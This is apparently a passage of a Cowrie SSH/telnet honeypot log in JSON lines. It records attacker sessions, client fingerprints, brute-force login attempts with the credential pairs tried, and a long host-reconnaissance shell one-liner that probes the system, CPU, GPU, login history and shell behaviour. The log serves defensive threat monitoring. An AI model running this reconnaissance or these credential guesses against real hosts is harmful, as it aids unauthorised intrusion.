Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.762731Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.765736Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.768615Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.771405Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.775360Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.777899Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.780576Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.783536Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.787277Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.791146Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.882501Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.966673Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52148,"dst_ip":"159.203.135.109","dst_port":22,"session":"f964c7d40d07","protocol":"ssh","message":"New connection: 160.187.174.22:52148 (159.203.135.109:22) [session: f964c7d40d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.195358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.202865Z","src_ip":"160.187.174.22","session":"f964c7d40d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.107.77","src_port":37908,"dst_ip":"10.17.0.5","dst_port":22,"session":"635de894fe49","protocol":"ssh","message":"New connection: 185.207.107.77:37908 (10.17.0.5:22) [session: 635de894fe49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.210063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.214036Z","src_ip":"185.207.107.77","session":"635de894fe49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.298891Z","src_ip":"185.207.107.77","session":"635de894fe49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.439830Z","src_ip":"160.187.174.22","session":"f964c7d40d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manta","password":"manta789","message":"login attempt [manta/manta789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:54.561210Z","src_ip":"185.207.107.77","session":"635de894fe49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:55.393639Z","src_ip":"160.187.174.22","session":"f964c7d40d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:55.647921Z","src_ip":"185.207.107.77","session":"635de894fe49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:56.642635Z","src_ip":"160.187.174.22","session":"f964c7d40d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":33882,"dst_ip":"10.17.0.5","dst_port":22,"session":"59e5484bd2a3","protocol":"ssh","message":"New connection: 14.177.234.24:33882 (10.17.0.5:22) [session: 59e5484bd2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:12.038669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:12.042994Z","src_ip":"14.177.234.24","session":"59e5484bd2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:12.281329Z","src_ip":"14.177.234.24","session":"59e5484bd2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tomato123","message":"login attempt [root/Tomato123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:13.269979Z","src_ip":"14.177.234.24","session":"59e5484bd2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.169.49.23","src_port":47038,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d03e5c97c7e","protocol":"telnet","message":"New connection: 20.169.49.23:47038 (159.203.135.109:23) [session: 4d03e5c97c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:14.128333Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:14.510264Z","src_ip":"14.177.234.24","session":"59e5484bd2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca35ce568a37","protocol":"telnet","message":"New connection: 170.64.224.25:48652 (159.203.135.109:23) [session: ca35ce568a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:18.192346Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53990,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8852659bc6","protocol":"ssh","message":"New connection: 103.122.221.179:53990 (159.203.135.109:22) [session: cd8852659bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:22.954250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:22.957861Z","src_ip":"103.122.221.179","session":"cd8852659bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:23.202865Z","src_ip":"103.122.221.179","session":"cd8852659bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59280,"dst_ip":"159.203.135.109","dst_port":22,"session":"c435d3570f9e","protocol":"ssh","message":"New connection: 160.187.174.22:59280 (159.203.135.109:22) [session: c435d3570f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:23.596588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:23.602008Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:23.846245Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190192","message":"login attempt [root/190192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:23.940008Z","src_ip":"103.122.221.179","session":"cd8852659bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.081975936889648,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:24.210177Z","src_ip":"20.169.49.23","session":"4d03e5c97c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.169.49.23","src_port":42906,"dst_ip":"159.203.135.109","dst_port":23,"session":"22db791309f9","protocol":"telnet","message":"New connection: 20.169.49.23:42906 (159.203.135.109:23) [session: 22db791309f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:24.268922Z"}
{"eventid":"cowrie.session.closed","duration":0.07726049423217773,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:24.346065Z","src_ip":"20.169.49.23","session":"22db791309f9","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:24.577448Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48660,"dst_ip":"159.203.135.109","dst_port":23,"session":"34663b7ed967","protocol":"telnet","message":"New connection: 170.64.224.25:48660 (159.203.135.109:23) [session: 34663b7ed967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:25.119516Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:25.259284Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:25.261817Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:25.266638Z","src_ip":"103.122.221.179","session":"cd8852659bc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:25.506943Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:25.511049Z","src_ip":"160.187.174.22","session":"c435d3570f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.63.58","src_port":56422,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef081c99a51c","protocol":"ssh","message":"New connection: 199.127.63.58:56422 (10.17.0.5:22) [session: ef081c99a51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:50.771694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:50.775567Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
